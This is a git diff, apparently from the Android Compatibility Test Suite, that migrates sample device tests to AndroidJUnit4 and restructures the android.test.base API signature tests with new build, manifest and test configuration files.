diff --git a/tests/sample/src/android/sample/cts/SampleDeviceResultTest.java b/tests/sample/src/android/sample/cts/SampleDeviceResultTest.java
index 41384b0..4798f5e 100644
--- a/tests/sample/src/android/sample/cts/SampleDeviceResultTest.java
+++ b/tests/sample/src/android/sample/cts/SampleDeviceResultTest.java
@@ -16,7 +16,15 @@
 package android.sample.cts;
 
 import android.sample.SampleDeviceActivity;
-import android.test.ActivityInstrumentationTestCase2;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MeasureRun;
@@ -33,7 +41,8 @@
  *
  * This test measures the time taken to run a workload and adds in the report.
  */
-public class SampleDeviceResultTest extends ActivityInstrumentationTestCase2<SampleDeviceActivity> {
+@RunWith(AndroidJUnit4.class)
+public class SampleDeviceResultTest {
 
     /**
      * Name of the report log to store test metrics.
@@ -51,15 +60,9 @@
     private static final Random random = new Random(12345);
 
     /**
-     * Constructor which passes the class of the activity to be instrumented.
-     */
-    public SampleDeviceResultTest() {
-        super(SampleDeviceActivity.class);
-    }
-
-    /**
      * Measures the time taken to sort an array.
      */
+    @Test
     public void testSort() throws Exception {
         // MeasureTime runs the workload N times and records the time taken by each run.
         double[] result = MeasureTime.measure(REPEAT, new MeasureRun() {
@@ -75,7 +78,7 @@
             @Override
             public void run(int i) throws Exception {
                 Arrays.sort(array);
-                assertTrue("Array not sorted", isSorted(array));
+                Assert.assertTrue("Array not sorted", isSorted(array));
             }
         });
         // Compute the stats.
@@ -90,7 +93,7 @@
         // Set a summary.
         reportLog.setSummary("average", stat.mAverage, ResultType.LOWER_BETTER, ResultUnit.MS);
         // Submit the report to the given instrumentation.
-        reportLog.submit(getInstrumentation());
+        reportLog.submit(InstrumentationRegistry.getInstrumentation());
     }
 
     /**
diff --git a/tests/sample/src/android/sample/cts/SampleDeviceTest.java b/tests/sample/src/android/sample/cts/SampleDeviceTest.java
index 13b7ea6..3ea4881 100644
--- a/tests/sample/src/android/sample/cts/SampleDeviceTest.java
+++ b/tests/sample/src/android/sample/cts/SampleDeviceTest.java
@@ -16,15 +16,23 @@
 package android.sample.cts;
 
 import android.sample.SampleDeviceActivity;
-import android.test.ActivityInstrumentationTestCase2;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * A simple compatibility test which tests the SharedPreferences API.
  *
- * This test uses {@link android.test.ActivityInstrumentationTestCase2} to instrument the
+ * This test uses {@link ActivityTestRule} to instrument the
  * {@link android.sample.SampleDeviceActivity}.
  */
-public class SampleDeviceTest extends ActivityInstrumentationTestCase2<SampleDeviceActivity> {
+@RunWith(AndroidJUnit4.class)
+public class SampleDeviceTest {
 
     private static final String KEY = "foo";
 
@@ -33,28 +41,9 @@
     /**
      * A reference to the activity whose shared preferences are being tested.
      */
-    private SampleDeviceActivity mActivity;
-
-    public SampleDeviceTest() {
-        super(SampleDeviceActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // Start the activity and get a reference to it.
-        mActivity = getActivity();
-        // Wait for the UI Thread to become idle.
-        getInstrumentation().waitForIdleSync();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Scrub the activity so it can be freed. The next time the setUp will create a new activity
-        // rather than reusing the old one.
-        mActivity = null;
-        super.tearDown();
-    }
+    @Rule
+    public ActivityTestRule<SampleDeviceActivity> mActivityRule =
+        new ActivityTestRule(SampleDeviceActivity.class);
 
     /**
      * Tests the SharedPreferences API.
@@ -64,13 +53,16 @@
      *
      * @throws Exception
      */
+    @Test
     public void testSharedPreferences() throws Exception {
         // Save the key value pair to the preferences and assert they were saved.
-        mActivity.savePreference(KEY, VALUE);
-        assertEquals("Preferences were not saved", VALUE, mActivity.getPreference(KEY));
+        mActivityRule.getActivity().savePreference(KEY, VALUE);
+        Assert.assertEquals("Preferences were not saved", VALUE,
+            mActivityRule.getActivity().getPreference(KEY));
 
         // Clear the shared preferences and assert the data was removed.
-        mActivity.clearPreferences();
-        assertNull("Preferences were not cleared", mActivity.getPreference(KEY));
+        mActivityRule.getActivity().clearPreferences();
+        Assert.assertNull("Preferences were not cleared",
+            mActivityRule.getActivity().getPreference(KEY));
     }
 }
diff --git a/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java b/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
deleted file mode 100755
index 3aa0cb0..0000000
--- a/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.sample.cts;
-
-import android.sample.SampleDeviceActivity;
-
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Assert;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * A simple compatibility test which tests the SharedPreferences API.
- *
- * This test uses {@link ActivityTestRule} to instrument the
- * {@link android.sample.SampleDeviceActivity}.
- */
-@RunWith(AndroidJUnit4.class)
-public class SampleJUnit4DeviceTest {
-
-    private static final String KEY = "foo";
-
-    private static final String VALUE = "bar";
-
-    @Rule
-    public ActivityTestRule<SampleDeviceActivity> mActivityRule =
-        new ActivityTestRule(SampleDeviceActivity.class);
-
-
-    /**
-     * This inserts the key value pair and assert they can be retrieved. Then it clears the
-     * preferences and asserts they can no longer be retrieved.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void shouldSaveSharedPreferences() throws Exception {
-        // Save the key value pair to the preferences and assert they were saved.
-        mActivityRule.getActivity().savePreference(KEY, VALUE);
-        Assert.assertEquals("Preferences were not saved", VALUE,
-            mActivityRule.getActivity().getPreference(KEY));
-
-        // Clear the shared preferences and assert the data was removed.
-        mActivityRule.getActivity().clearPreferences();
-        Assert.assertNull("Preferences were not cleared",
-            mActivityRule.getActivity().getPreference(KEY));
-    }
-}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
index 9f6215b..952faab 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
@@ -36,7 +36,7 @@
  * A helper class to test sensor APIs related to sampling rates of SensorEventConnections.
  */
 public class SensorRatePermissionEventConnectionTestHelper {
-    public static final int CAPPED_SAMPLE_RATE_HZ = 270; // Capped rate 200 Hz + headroom
+    public static final int CAPPED_SAMPLE_RATE_HZ = 270; // Capped rate 200 Hz + 10% headroom
     // Set of sensors that are throttled
     public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
             Sensor.TYPE_ACCELEROMETER,
diff --git a/tests/signature/TEST_MAPPING b/tests/signature/TEST_MAPPING
index 183d131..0f15bfe 100644
--- a/tests/signature/TEST_MAPPING
+++ b/tests/signature/TEST_MAPPING
@@ -13,7 +13,10 @@
       "name": "CtsCurrentApiSignatureTestCases"
     },
     {
-      "name": "CtsAndroidTestBase28ApiSignatureTestCases"
+      "name": "CtsAndroidTestBase29ApiSignatureTestCases"
+    },
+    {
+      "name": "CtsAndroidTestBaseUsesLibraryApiSignatureTestCases"
     },
     {
       "name": "CtsAndroidTestBaseCurrentApiSignatureTestCases"
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index 96f3a9a..c95cf4a 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -30,9 +30,11 @@
     srcs: ["src/java/**/*.java"],
     sdk_version: "test_current",
     static_libs: [
+        // androidx.test.runner depends on android.test classes from this library.
+        "android.test.base-minus-junit",
+        "androidx.test.runner",
+        "compatibility-device-util-axt",
         "cts-signature-common",
-        "repackaged.android.test.base",
-        "repackaged.android.test.runner",
     ],
 }
 
@@ -53,15 +55,13 @@
     compile_multilib: "both",
 }
 
-// Defaults for signature api checks with dynamic config.
-java_defaults {
-    name: "signature-api-check-dynamic-config-defaults",
-    defaults: ["signature-api-check-defaults"],
-    defaults_visibility: [
-        "//cts/tests/signature:__subpackages__",
-    ],
-    static_libs: [
-        "cts-signature-with-dynamic-config",
+// Filegroup containing the jarjar rules that need to be applied to any test that checks for
+// accessibility (or inaccesibility) of android.test and junit classes from the android.test.base
+// and android.test.runner libraries.
+filegroup {
+    name: "cts-android-test-jarjar-rules",
+    srcs: [
+        "android-test-jarjar-rules.txt",
     ],
 }
 
@@ -92,7 +92,7 @@
 // Defaults for hiddenapi blocklist checks.
 java_defaults {
     name: "hiddenapi-blocklist-check-defaults",
-    defaults: ["signature-api-check-dynamic-config-defaults"],
+    defaults: ["signature-api-check-defaults"],
     java_resources: [
         ":platform-bootclasspath{hiddenapi-flags.csv}",
         ":cts-api-hiddenapi-filter-csv"
diff --git a/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic b/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic
index 6bd4f15..3208245 100644
--- a/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic
+++ b/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic
@@ -24,7 +24,7 @@
          ! an ExpectedFailuresFilter which discards them.
          !
          ! e.g. If the test fails with the following error message:
-         ! repackaged.junit.framework.AssertionFailedError:
+         ! junit.framework.AssertionFailedError:
          ! extra_class:	android.media.MediaParceledListSlice	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
          ! extra_class:	android.media.MediaFrameworkInitializer	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
          ! extra_interface:	android.media.MediaCommunicationManager$SessionCallback	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
@@ -58,10 +58,6 @@
         <value>extra_method:void android.net.wifi.hotspot2.pps.HomeSp.setMatchAnyOis(long[])</value>
         <!--
          ! Add any new entries before this.
-         !
-         ! Note: Due to limitations within the build changes to this file it is
-         ! necessary to build CtsHiddenApiBlocklistCurrentApiTestCases in order
-         ! for changes to this file to take effect.
          !-->
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/api-check/OWNERS b/tests/signature/api-check/OWNERS
index c8305d1..cfd7cc6 100644
--- a/tests/signature/api-check/OWNERS
+++ b/tests/signature/api-check/OWNERS
@@ -1,7 +1,4 @@
 # Bug component: 24949
-platform-compat-eng+reviews@google.com
-andreionea@google.com
-mathewi@google.com
 ngeoffray@google.com
 paulduffin@google.com
-satayev@google.com
+andreionea@google.com
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
deleted file mode 100644
index b4cd1a2..0000000
--- a/tests/signature/api-check/android-test-base-28-api/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
-    name: "CtsAndroidTestBase28ApiSignatureTestCases",
-    defaults: [
-        "signature-api-check-defaults",
-    ],
-    java_resources: [
-        ":cts-android-test-base-current-api-gz",
-    ],
-    min_sdk_version: "27",
-
-    use_embedded_native_libs: false,
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
deleted file mode 100644
index dd67533..0000000
--- a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_base_28"
-          android:targetSandboxVersion="2">
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
-    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28"/>
-
-    <application android:debuggable="true"
-                 android:extractNativeLibs="true"
-                 android:largeHeap="true"/>
-
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
-                     android:targetPackage="android.signature.cts.api.android_test_base_28"
-                     android:label="Android Test Base 28 API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
deleted file mode 100644
index 03fdcad..0000000
--- a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Android Test Base 28 API Signature test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsAndroidTestBase28ApiSignatureTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.signature.cts.api.android_test_base_28" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.api28.test.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
-        <option name="runtime-hint" value="5s" />
-        <!-- Disable hidden API checks (http://b/171459260). -->
-        <option name="hidden-api-checks" value="false" />
-    </test>
-</configuration>
diff --git a/tests/signature/api-check/android-test-base-28-api/src/java/android/signature/cts/api/api28/test/SignatureTest.java b/tests/signature/api-check/android-test-base-28-api/src/java/android/signature/cts/api/api28/test/SignatureTest.java
deleted file mode 100644
index 8cbb511..0000000
--- a/tests/signature/api-check/android-test-base-28-api/src/java/android/signature/cts/api/api28/test/SignatureTest.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts.api.api28.test;
-
-public class SignatureTest extends android.signature.cts.api.SignatureTest {
-}
diff --git a/tests/signature/api-check/android-test-base-29-api/Android.bp b/tests/signature/api-check/android-test-base-29-api/Android.bp
new file mode 100644
index 0000000..a4def69
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-29-api/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsAndroidTestBase29ApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+
+    // Ensure that any android.test and junit classes embedded within this test do not conflict with
+    // the classes provided by the android.test.base or android.test.runner shared libraries.
+    jarjar_rules: ":cts-android-test-jarjar-rules",
+
+    java_resources: [
+        ":cts-android-test-base-current-api-gz",
+        ":cts-android-test-mock-current-api-gz",
+        ":cts-android-test-runner-current-api-gz",
+    ],
+    min_sdk_version: "29",
+
+    // Prevent android.test.runner and android.test.mock classes being available at runtime by
+    // excluding them from the list of libraries that are implicitly added to the manifest.
+    // Otherwise, the test would break as it is not expecting those classes to be available.
+    exclude_uses_libs: [
+        "android.test.mock",
+        "android.test.runner",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-base-29-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-29-api/AndroidManifest.xml
new file mode 100644
index 0000000..4ca3ac6
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-29-api/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_base_29"
+          android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_base_29"
+                     android:label="Android Test Base 29 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-base-29-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-29-api/AndroidTest.xml
new file mode 100644
index 0000000..3b734ce
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-29-api/AndroidTest.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!--
+ ! Test that APKs with targetSdkVersion <= 29 have access to the android.test.base APIs by default.
+ !
+ ! The test name is 29 because that was the initial targetSdkVersion where android.test.base was no
+ ! longer available on the bootclasspath. Unfortunately, the changes were not ready in time and so
+ ! it was eventually removed from 29. The test has not been renamed.
+ !-->
+<configuration description="Config for CTS Android Test Base 29 API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestBase29ApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_base_29" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="class" value="android.signature.cts.api.api29.test.SignatureTest" />
+        <!--
+         ! android.test.base classes must be accessible to this test as this test's targetSdkVersion
+         ! is 29 which provided the classes by default on the bootclasspath.
+         !-->
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
+        <!--
+         ! android.test.mock and android.test.runner classes must not be accessible to this test as
+         ! they are only provided when specifically requested using a <uses-library> element in the
+         ! manifest.
+         !-->
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-runner-current.api.gz,android-test-mock-current.api.gz" />
+        <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-base-28-api/OWNERS b/tests/signature/api-check/android-test-base-29-api/OWNERS
similarity index 100%
rename from tests/signature/api-check/android-test-base-28-api/OWNERS
rename to tests/signature/api-check/android-test-base-29-api/OWNERS
diff --git a/tests/signature/api-check/android-test-base-29-api/src/java/android/signature/cts/api/api29/test/SignatureTest.java b/tests/signature/api-check/android-test-base-29-api/src/java/android/signature/cts/api/api29/test/SignatureTest.java
new file mode 100644
index 0000000..a0187c5
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-29-api/src/java/android/signature/cts/api/api29/test/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.api29.test;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
index 8353135..737dde0 100644
--- a/tests/signature/api-check/android-test-base-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -21,8 +21,25 @@
     defaults: [
         "signature-api-check-defaults",
     ],
+
+    // Ensure that any android.test and junit classes embedded within this test do not conflict with
+    // the classes provided by the android.test.base or android.test.runner shared libraries.
+    jarjar_rules: ":cts-android-test-jarjar-rules",
+
     java_resources: [
         ":cts-android-test-base-current-api-gz",
+        ":cts-android-test-mock-current-api-gz",
+        ":cts-android-test-runner-current-api-gz",
+    ],
+
+    // Prevent android.test.base, android.test.runner and android.test.mock classes being available
+    // at runtime by excluding them from the list of libraries that are implicitly added to the
+    // manifest. Otherwise, the test would break as it is not expecting those classes to be
+    // available.
+    exclude_uses_libs: [
+        "android.test.base",
+        "android.test.runner",
+        "android.test.mock",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
index 1467a63..9a93f27 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
@@ -21,11 +21,7 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application>
-        <uses-library android:name="android.test.base" />
-    </application>
-
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.android_test_base_current"
                      android:label="Android Test Base Current API Signature Test"/>
 
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index 6a3668b..7e8176a 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -13,6 +13,10 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+<!--
+ ! Test that APKs with targetSdkVersion > 29 do not have access to the android.test.base APIs by
+ ! default.
+ !-->
 <configuration description="Config for CTS Android Test Base Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
@@ -26,9 +30,14 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.android_test_base_current" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.test.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
+        <!--
+         ! android.test.base, android.test.mock and android.test.runner classes must NOT be
+         ! accessible to this test as the android.test.base classes are no longer provided by
+         ! default and the other libraries were never provided by default.
+         !-->
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.api.gz,android-test-runner-current.api.gz,android-test-mock-current.api.gz" />
         <option name="runtime-hint" value="5s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/signature/api-check/android-test-base-uses-library-api/Android.bp b/tests/signature/api-check/android-test-base-uses-library-api/Android.bp
new file mode 100644
index 0000000..708d430
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-uses-library-api/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsAndroidTestBaseUsesLibraryApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+
+    // Ensure that any android.test and junit classes embedded within this test do not conflict with
+    // the classes provided by the android.test.base or android.test.runner shared libraries.
+    jarjar_rules: ":cts-android-test-jarjar-rules",
+
+    java_resources: [
+        ":cts-android-test-base-current-api-gz",
+        ":cts-android-test-mock-current-api-gz",
+        ":cts-android-test-runner-current-api-gz",
+    ],
+    min_sdk_version: "30",
+
+    // Prevent android.test.mock and android.test.runner classes being available at runtime by
+    // excluding them from the list of libraries that are implicitly added to the manifest.
+    // Otherwise, the test would break as it is not expecting those classes to be available.
+    exclude_uses_libs: [
+        "android.test.mock",
+        "android.test.runner",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-base-uses-library-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-uses-library-api/AndroidManifest.xml
new file mode 100644
index 0000000..c43b6d2
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-uses-library-api/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
